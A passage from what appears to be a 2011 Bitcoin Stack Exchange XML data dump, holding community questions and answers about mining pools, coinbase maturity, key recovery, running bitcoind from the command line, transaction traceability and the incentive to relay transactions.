US ISP is going to have a longer than average latency.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the most efficient pool would be one that includes transactions fee, charges no pool fee, has low latency connection to your miners, offers merged mining, has high uptime, and has no hidden back end bugs which reduce efficiency of shares.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-07-13T04:53:41.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1995" PostTypeId="2" ParentId="1991" CreationDate="2011-11-14T17:44:58.310" Score="12" Body="&lt;p&gt;A block is accepted immediately (assuming it is valid) the maturation time applies to the coinbase reward to the miner found in the block (bock subsidy + tx fees).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose is to prevent a form of transaction reversal (most commonly associated with &quot;double spends&quot;) if the block is orphaned.  If a block is orphaned the coinbase reward &quot;ceases to exist&quot;.  The coins are produced from the block and when a block is orphaned it is the replacement blocks version of the coinbase tx which is considered valid by the network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions which use non-coinbase coins as an input are not affected.  If a block is orphaned then any tx which was confirmed in the orphaned block and not confirmed in the block which replaced it will return to the memory pool and be included in a future block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generated coins however cease to exist when the block is orphaned.  If the network allowed miners to spend them immediately it would be the recipient of the coins not the miner who would suffer a loss from the miner's block being orpahned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to avoid that undesirable situation the network requires coinbase tx (rewards to miners) to &quot;mature&quot; or wait 100 confirmations (the client makes this 120 confirmations but only 100 is required by the protocol).  If a block is orphaned before it gets 100 blocks deep into the chain, then only the miner is affected.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2012-12-26T15:43:55.667" LastActivityDate="2012-12-26T15:43:55.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1996" PostTypeId="1" AcceptedAnswerId="1997" CreationDate="2011-11-14T22:19:39.313" Score="9" ViewCount="6389" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1389/how-are-public-private-keys-in-an-address-created&quot;&gt;How are public &amp;amp; private keys in an address created?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;If I lost my public key, but still have the private key, is it possible to recreate the public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many public keys can be made from one private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a computationally expensive process to create all the public keys from one private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joe.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-02-07T23:00:02.977" Title="If I lost my public keys, could I recover them from the private key?" Tags="|encryption|" AnswerCount="2" CommentCount="0" ClosedDate="2012-02-08T18:15:10.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="1997" PostTypeId="2" ParentId="1996" CreationDate="2011-11-14T22:26:13.937" Score="7" Body="&lt;p&gt;Relation is one private key generates one public key and it is possible to recreate the public key. You can't recreate the private key though, so if you lose them, you lose all coins associated with that key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not computationally expensive to generate or recover keypairs, but you need specific programs for that support secp256k1 elliptic curve cryptography.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5" LastEditDate="2011-11-15T02:18:24.460" LastActivityDate="2011-11-15T02:18:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1998" PostTypeId="1" AcceptedAnswerId="1999" CreationDate="2011-11-15T11:42:28.627" Score="7" ViewCount="2623" Body="&lt;p&gt;I want to run a Bitcoin client on a command-line-only system (Amazon EC2). Is there some specific command-line parameters I should use in order to run the main client without the GUI, or will it run properly without any parameters? How do I later check the status of the client (check number of connections, balance, etc)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-15T13:32:19.787" Title="Running Bitcoin on command-line-only system" Tags="|bitcoin-core|websites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1999" PostTypeId="2" ParentId="1998" CreationDate="2011-11-15T13:32:19.787" Score="7" Body="&lt;p&gt;To run it as a daemon type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind -daemon&#xA;bitcoin server starting&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot;&gt;API calls&lt;/a&gt; to do whatever you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getblockcount&#xA;153407&#xA;$ bitcoind getconnectioncount&#xA;20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-11-15T13:32:19.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2000" PostTypeId="1" CreationDate="2011-11-15T17:29:24.437" Score="3" ViewCount="240" Body="&lt;p&gt;I presume the legal process would be something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get IP address from blockchain.&lt;/li&gt;&#xA;&lt;li&gt;Get ISP to tell you whose that is or was at the time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I expect that this would normally require some legal warrant in most countries for ip address to user mapping, which of course can be made difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are mobiles client easier to trace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about an illegal but still pragmatic process? &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2011-11-15T22:24:16.963" LastActivityDate="2011-11-17T02:37:37.413" Title="What would be the process for identifying a person that performed a transaction from a wallet on a personal device?" Tags="|transactions|privacy|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2001" PostTypeId="2" ParentId="2000" CreationDate="2011-11-15T20:13:06.620" Score="4" Body="&lt;p&gt;The block chain doesn't report the IP address and the IP address isn't passes by nodes.  Any entities knowledge of Bitcoin network is limited to the connections it has.  If you get a transaction from a specific IP address you can't know that IP address originated the transaction you simply know it came from that IP address.  It was either originated or relayed by that node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more connections you have to the network the more information you would have about where an transaction originated.   However no matter how many connections you have you can never know you have a connection to every single node, thus all you can know when you see a specific transaction is that node at IP address X is where the transaction was first seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can never be 100% sure of the originating node as you can never be 100% sure you have connections to ever node in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone concerned about privacy could restrict the nodes they send transactions to only nodes they trust.  This would ensure that at most (unless they trusted you) you could only find the node that relayed the transaction not the originator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone concerned about privacy could also route their transactions via VPN which would add another layer.  The connection couldn't be traced further back than the VPN gateway without the assistance of the VPN providers which likely would require a court order.  If the VPN provider was located in another country that would make enforcement even more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using both trusted nodes (using web of trust like fature), and VPN which doesn't keep logs in a foreign country would make tracing the source of the transaction very difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it unlikely that many courts would issue a warrant based on only the IP address of the &quot;node transaction was first seen&quot; as it really is proof of nothing.  The actually originator could be that node, a node which relayed it to that node, or a node which is x hops further down the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly a transaction is simply a sequence of bits. There are websites which act as dropboxes where a user can post a transaction in text form and the website will relay it to the rest of the network.  While this isn't particularly secure one could create a similar service on Tor and possibly require transactions to be encrypted with a public key of trusted operator reducing the likelihood of tracing the transaction back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the drop box method could be combined with trusted nodes, VPN access, and using a public internet wifi location to further obfuscate the source.  It really depends on how paranoid the sender is.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-15T23:58:08.260" LastActivityDate="2011-11-15T23:58:08.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2002" PostTypeId="1" AcceptedAnswerId="2003" CreationDate="2011-11-16T01:00:02.400" Score="11" ViewCount="863" Body="&lt;p&gt;Once the 50BTC per block rewards have halved many times and the transaction fees start to become the primary reward for miners, it sound like there is incentive for miners to not pass on transactions as they would eventually get the transaction fee when they next solve a block. I just read about this in Slashdot -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This slashdot article:&#xA;&lt;a href=&quot;http://science.slashdot.org/story/11/11/15/0456206/researchers-locate-flaw-in-bitcoin-protocol&quot;&gt;http://science.slashdot.org/story/11/11/15/0456206/researchers-locate-flaw-in-bitcoin-protocol&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refers to another article, being:&#xA;&lt;a href=&quot;http://coderrr.wordpress.com/2011/11/13/simplified-summary-of-microsoft-researchs-bitcoin-paper-on-incentivizing-transaction-propagation/&quot;&gt;http://coderrr.wordpress.com/2011/11/13/simplified-summary-of-microsoft-researchs-bitcoin-paper-on-incentivizing-transaction-propagation/&lt;/a&gt;&#xA;and a research paper produced by Microsoft (who would've thought they're interested in Bitcoins!?):&#xA;&lt;a href=&quot;http://research.microsoft.com/pubs/156072/bitcoin.pdf&quot;&gt;http://research.microsoft.com/pubs/156072/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An obvious solution to the described problem is to reward nodes for sharing transactions, but this (as I understand it) leads to a &quot;Sybil attack&quot; where the attacker tries to gain an increased share of the rewards by sharing the transaction amongst other nodes controlled by the attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the research paper seems to have a proposed solution, but it's beyond my understanding!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this really a problem with the existing Bitcoin protocol? If yes, does the research paper have a genuine workable solution? Is it possible to describe that solution in laymen's terms?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-02-02T09:19:40.107" LastActivityDate="2016-02-02T09:19:40.107" Title="Flaw in Bitcoin protocol regarding incentives to share transactions" Tags="|attack|mining-theory|transaction-propagation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2003" PostTypeId="2" ParentId="2002" CreationDate="2011-11-16T01:37:16.760" Score="6" Body="&lt;p&gt;&lt;strong&gt;This is a non-issue.&lt;/strong&gt;  The Microsoft paper did not appear in a peer-reviewed venue (journal or conference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are (at least) two parts to the bitcoin network: the peer-to-peer transaction broadcasting network and the miners.  &lt;strong&gt;Only the miners have a disincentive to propagate transactions.  The overwhelming majority of the nodes on the internet running bitcoind are not mining&lt;/strong&gt; or else are doing trivial amounts of CPU-mining because their admin forgot to use the -gen=0 flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so-called &quot;CPU-friendly&quot; cryptocurrencies like &quot;Tenberix&quot; achieve their goals (which is doubtful) they may be vulnerable to this problem since they are intended to avoid the sort of specialized-miner situation that bitcoin embraces.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-11-16T01:37:16.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2004" PostTypeId="2" ParentId="2002" CreationDate="2011-11-16T02:31:13.360" Score="2" Body="&lt;p&gt;All you have to do is broadcast your transaction to a few major mining nodes. Whichever mines a block first will have every incentive to include your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a silly argument anyway. To precisely the same extent nodes are incentivized not to share their transactions with others, nodes are incentivized to get transactions from others. It should cancel out perfectly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It it's is worth X for you to get a transaction from me, I may not give it to you for much less than X. But why wouldn't you be willing to give me just a bit less than X for it?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... it sound[s] like there is incentive for miners to not pass on transactions as they would eventually get the transaction fee when they next solve a block ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's absurd. The longer you hold onto a transaction, the less it's worth. You have no way to know how many other nodes have that transaction, and as soon as any miner includes the transaction in a block it is worthless. You have an incentive to get as much for the transaction as you can as quickly as possible from as many nodes as possible.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-11-16T16:44:40.657" LastActivityDate="2011-11-16T16:44:40.657" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2005" PostTypeId="2" ParentId="1968" CreationDate="2011-11-16T08:00:44.520" Score="1" Body="&lt;p&gt;List of bitcoin websites on &lt;a href=&quot;http://stuffexists.com/&quot; rel=&quot;nofollow&quot;&gt;http://stuffexists.com/&lt;/a&gt;&lt;br&gt;&#xA;If you find any &quot;untrusted&quot; sites on there, there email is at the bottom and you can let them know.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-11-16T08:00:44.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2006" PostTypeId="1" CreationDate="2011-11-16T09:42:09.223" Score="1" ViewCount="473" Body="&lt;p&gt;I am getting this error in the debug.log of bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXCEPTION: N5boost16exception_detail10clone_implINS0_19error_info_injectorINS_21thread_resource_errorEEEEE&lt;br&gt;&#xA;boost::thread_resource_error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happens every 2 to 4 hours, and I need to restart bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is I request recent transactions every 2 seconds, via json-rpc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody else got this error? Is there a way of avoiding this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually managed to figure out it is related to calling &lt;em&gt;walletlock&lt;/em&gt;. Whenever &lt;em&gt;walletlock&lt;/em&gt; is called (via json-rpc or command line, doesn't matter), a new thread is spawned and it doesn't die. Looks like a bug.&lt;/p&gt;&#xA;" OwnerUserId="626" LastEditorUserId="626" LastEditDate="2011-11-16T17:33:56.187" LastActivityDate="2011-11-16T17:33:56.187" Title="boost::thread_resource_error" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2007" PostTypeId="2" ParentId="2006" CreationDate="2011-11-16T16:22:07.320" Score="1" Body="&lt;p&gt;It seems to be an &lt;a href=&quot;http://www.boost.org/doc/libs/1_34_0/doc/html/boost/thread_resource_error.html&quot; rel=&quot;nofollow&quot;&gt;error from the Boost library&lt;/a&gt; that is thrown &quot;thread-related resources cannot be acquired&quot;. You probably should contact the dev team about this error, from your description it appears to be a memory leak.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-16T16:22:07.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2008" PostTypeId="1" AcceptedAnswerId="2009" CreationDate="2011-11-16T16:39:46.377" Score="1" ViewCount="189" Body="&lt;p&gt;Question a bit related to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2002/flaw-in-bitcoin-protocol-regarding-incentives-to-share-transactions&quot;&gt;Microsoft's research on incentives of sharing transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the incentive for a custom-tailored Bitcoin client to share information regarding known clients and the existing blockchain? For example, the client could set its &quot;services&quot; in &quot;version&quot; message to 0 and not be bothered with sharing much data. What encourages the Bitcoin clients, asides common curtsey from the people running the software, to share the data?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-11-18T11:26:48.483" Title="Bitcoin client incentives to share peers and blockchain" Tags="|client|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2009" PostTypeId="2" ParentId="2008" CreationDate="2011-11-16T16:46:07.797" Score="3" Body="&lt;p&gt;If data is not shared, Bitcoin won't work. So the people who want Bitcoin to work and be useful share the data. If there aren't enough people who want Bitcoin to work and be useful, then it doesn't matter whether anyone can get the data or not.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-16T16:46:07.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2010" PostTypeId="2" ParentId="1968" CreationDate="2011-11-16T21:49:12.137" Score="2" Body="&lt;p&gt;Bets of Bitcoin admin here. I think the best way is still digging the forums. But usually bitcointalk.org has one large thread per website where people address their complaints and admins reply, so it is not that hard. For example ours is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=37069.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=37069.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. Let me know if you have any questions about our service.&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2011-11-16T21:49:12.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2011" PostTypeId="2" ParentId="2000" CreationDate="2011-11-17T02:37:37.413" Score="1" Body="&lt;p&gt;Tracking on the network layer is not how this would be done (because of the reasons outlined by DeathAndTaxes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an investigator wanted to track down who is behind a certain Bitcoin address (NOT IP address, more like a Bitcoin bank account number), they'd need to find out companies or individuals that have done business with that address (i.e. exchanged coins with it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, these companies would know something about the person they were transacting with. For example, a wallet site will have some user account information. An investigator could have leverage to force these companies to disclose their records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is where you lose anonymity in Bitcoin: Because it is not really anonymous, but rather pseudonymous, if you let anyone find out who is behind your Bitcoin address, they will be able to associate the coins going through that address with you. And if someone can gather a lot of these associations, they can draw a great many conclusions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that, you are advised to create new addresses for every trading partner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is maybe an area where using Green Addresses has a real disadvantage, because now you can easily determine that a certain wallet service has been involved in a transaction, giving investigators a place to start digging).&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-11-17T02:37:37.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2012" PostTypeId="2" ParentId="2002" CreationDate="2011-11-17T07:15:13.867" Score="5" Body="&lt;p&gt;I'm one of the authors of the paper you mention. We've written a summary of the paper aimed at the Bitcoin community in the hopes that it will help people to better understand the paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the summary:&#xA;&lt;a href=&quot;http://research.microsoft.com/en-us/people/avivz/bitcoin_red_balloons_summary.aspx&quot; rel=&quot;noreferrer&quot;&gt;http://research.microsoft.com/en-us/people/avivz/bitcoin_red_balloons_summary.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2011-11-17T07:15:13.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2013" PostTypeId="1" AcceptedAnswerId="2014" CreationDate="2011-11-18T06:43:58.970" Score="20" ViewCount="17186" Body="&lt;p&gt;Why does the length of a bitcoin key vary?  Why aren't they all the same length?&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="5406" LastEditDate="2021-10-22T19:08:11.057" LastActivityDate="2021-10-22T19:08:11.057" Title="Why does the length of a bitcoin key vary?" Tags="|public-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2014" PostTypeId="2" ParentId="2013" CreationDate="2011-11-18T07:35:02.093" Score="30" Body="&lt;p&gt;The length of a &lt;em&gt;key&lt;/em&gt; doesn't vary. Private keys are always 32 bytes, and public keys are always 65 bytes (or 33 bytes for a compressed public key). Public key hashes are always 20 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The length of addresses vary because in Bitcoin's base58 encoding, leading zero bytes are expressed as a single &quot;1&quot;. Other bytes require more than one character in order to be expressed in base58.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-03-03T01:33:15.247" LastActivityDate="2012-03-03T01:33:15.247" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2015" PostTypeId="2" ParentId="2008" CreationDate="2011-11-18T11:26:48.483" Score="1" Body="&lt;p&gt;Bitcoin users want to get information about their own transactions transmitted quickly and generally want to see Bitcoin succeed, and sharing the load of publishing transactions on the p2p network is courteous and the default; it would take a really selfish person to hack and compile Bitcoin so it took but didn't resend transaction data or Bitcoin blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paper refers more to a barely-possible attack where a miner or mining pool might get more transactions (and the associated fees) included in blocks they solve if they were to not broadcast those transactions to others.&lt;/p&gt;&#xA;" OwnerUserId="688" LastActivityDate="2011-11-18T11:26:48.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2016" PostTypeId="2" ParentId="1243" CreationDate="2011-11-18T12:44:09.137" Score="4" Body="&lt;p&gt;Bitcoin 0.5 will flush the key pool upon encryption. This means that when you encrypt a fresh wallet, none of its active reserve keys will ever have touched the disk in unencrypted form.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2011-11-18T12:44:09.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2017" PostTypeId="1" CreationDate="2011-11-18T21:52:38.720" Score="2" ViewCount="4308" Body="&lt;p&gt;Bitcoins sent from Mt. Gox, but never have appeared in my account. I have the block # of the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I trace the deposit or find them within my account?&lt;/p&gt;&#xA;" OwnerUserId="690" LastEditorUserId="196" LastEditDate="2012-12-14T22:51:52.913" LastActivityDate="2018-03-21T22:30:07.070" Title="Finding &quot;lost&quot; bitcoins" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2018" PostTypeId="2" ParentId="2017" CreationDate="2011-11-18T23:28:02.087" Score="1" Body="&lt;p&gt;To look up the transaction go to &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain.info&lt;/a&gt; or &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockexplorer.com&lt;/a&gt; and type the transaction number in the search box. You will see the sender address, the destination address, the block number where the transaction was included, among other info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please confirm that your bitcoin client has downloaded all the blocks. You can see a number in the bottom right corner, which should match the most recent block (the current number is 153881, you can find this information in the websites I mentioned). See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/476/why-is-my-client-software-not-receiving-bitcoins/477#477&quot;&gt;this question&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-11-18T23:28:02.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2019" PostTypeId="1" AcceptedAnswerId="2020" CreationDate="2011-11-19T12:02:05.660" Score="12" ViewCount="3479" Body="&lt;p&gt;Many Bitcoin mining pools offer merged mining with Namecoin, and there are places where one can buy and sell BTC for NMC and the other way around.&lt;br&gt;&#xA;But, why would anyone want to own NMC? As far as I understand, browsing dot-bit domains doesn't require owning NMC.&lt;/p&gt;&#xA;" OwnerUserId="691" LastEditorUserId="5406" LastEditDate="2016-02-17T21:20:22.630" LastActivityDate="2022-12-10T20:41:48.730" Title="Why do namecoins have any value?" Tags="|mining-pools|exchange-rate|namecoin|merged-mining|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2020" PostTypeId="2" ParentId="2019" CreationDate="2011-11-19T12:24:05.663" Score="13" Body="&lt;p&gt;Namecoins are used to register .bit domains:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.namecoin.org/dot-bit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.namecoin.org/dot-bit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;They're also bought and sold by speculators, but DNS registration is their original purpose.&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="34190" LastEditDate="2022-12-10T20:41:48.730" LastActivityDate="2022-12-10T20:41:48.730" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2021" PostTypeId="1" AcceptedAnswerId="2022" CreationDate="2011-11-19T15:59:01.813" Score="24" ViewCount="5604" Body="&lt;p&gt;What happens if there are no transactions in a block?  Suppose there is a 10 minute time frame  in the middle of the night, maybe on a holiday, and there are no transactions made.  Do the miners get paid 50 bitcoins for processing a zero?&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="5406" LastEditDate="2016-02-02T09:04:15.967" LastActivityDate="2016-02-02T09:04:15.967" Title="What happens if there are no transactions in a block?" Tags="|mining-reward|mining-theory|empty-blocks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2022" PostTypeId="2" ParentId="2021" CreationDate="2011-11-19T16:29:33.083" Score="19" Body="&lt;p&gt;The mining reward must be collected with a transaction, so technically there is at least one transaction in each block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining reward was designed to enable the initial distribution of bitcoins and to encourage the creation of a powerful bitcoin network with a lot of computers to support it, therefore it makes perfect sense that a miner gets the block mining reward regardless of how many transactions were included.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="5406" LastEditDate="2013-08-30T15:10:49.320" LastActivityDate="2013-08-30T15:10:49.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2023" PostTypeId="2" ParentId="2021" CreationDate="2011-11-19T21:33:30.130" Score="16" Body="&lt;p&gt;The answer to your question is yes. The transaction fees reward miners from processing transactions. The block reward is for securing the hash chain. They're not &quot;processing a zero&quot;, they're securing every transaction made in every previous block, increasing the number of confirmations it has and increasing the difficulty of undoing it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-19T21:33:30.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2024" PostTypeId="2" ParentId="2017" CreationDate="2011-11-20T03:01:53.103" Score="0" Body="&lt;p&gt;If you have the block number, they appeared in your account. If your client doesn't show it, it's most likely because your client doesn't have that block yet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-20T03:01:53.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2025" PostTypeId="1" AcceptedAnswerId="2032" CreationDate="2011-11-20T14:19:13.760" Score="38" ViewCount="11901" Body="&lt;p&gt;I'm currently trying to generate the genesis block with my code and I've stumbled upon the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;TxIn sequence&lt;/a&gt; field that is not explained in the Protocol Specification wiki page, nor does it seem to appear in the &lt;a href=&quot;http://blockexplorer.com/rawtx/4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;&gt;block explorer&lt;/a&gt;. What is the way the value of this field is calculated, and what was its value for the genesis block?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-08-23T15:11:12.623" LastActivityDate="2017-07-01T13:41:01.297" Title="What is TxIn's sequence?" Tags="|transactions|protocol|raw-data|genesis-block|sequence|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2026" PostTypeId="1" CreationDate="2011-11-20T14:45:05.387" Score="6" ViewCount="633" Body="&lt;p&gt;Is there any exchange, or a website selling Bitcoin, which has a bank account in South Korea?&lt;/p&gt;&#xA;" OwnerUserId="162" LastEditorUserId="162" LastEditDate="2011-11-20T14:57:30.717" LastActivityDate="2016-03-13T11:03:48.550" Title="Is there a Bitcoin exchange which has bank accounts in South Korea?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2027" PostTypeId="1" AcceptedAnswerId="2030" CreationDate="2011-11-20T16:41:55.593" Score="47" ViewCount="13198" Body="&lt;p&gt;Once the bitcoin client is connected to a machine (or multiple machines) on the bitcoin network, they can share information (e.g. the block-chain, IP addresses of other nodes, etc). I understand how this peer-to-peer architecture is robust to nodes joining/leaving/crashing and not relying on any central authority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: when I start my client, it has no information about the IP addresses of the other nodes, so how does it know who/where to connect to &lt;strong&gt;initially&lt;/strong&gt;? How does one 'boot-strap' a peer-to-peer network?&lt;/p&gt;&#xA;" OwnerUserId="556" LastEditorUserId="47827" LastEditDate="2021-09-06T19:27:02.600" LastActivityDate="2021-09-06T19:27:02.600" Title="How does the bitcoin client make the initial connection to the bitcoin network?" Tags="|peer-discovery|dns|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
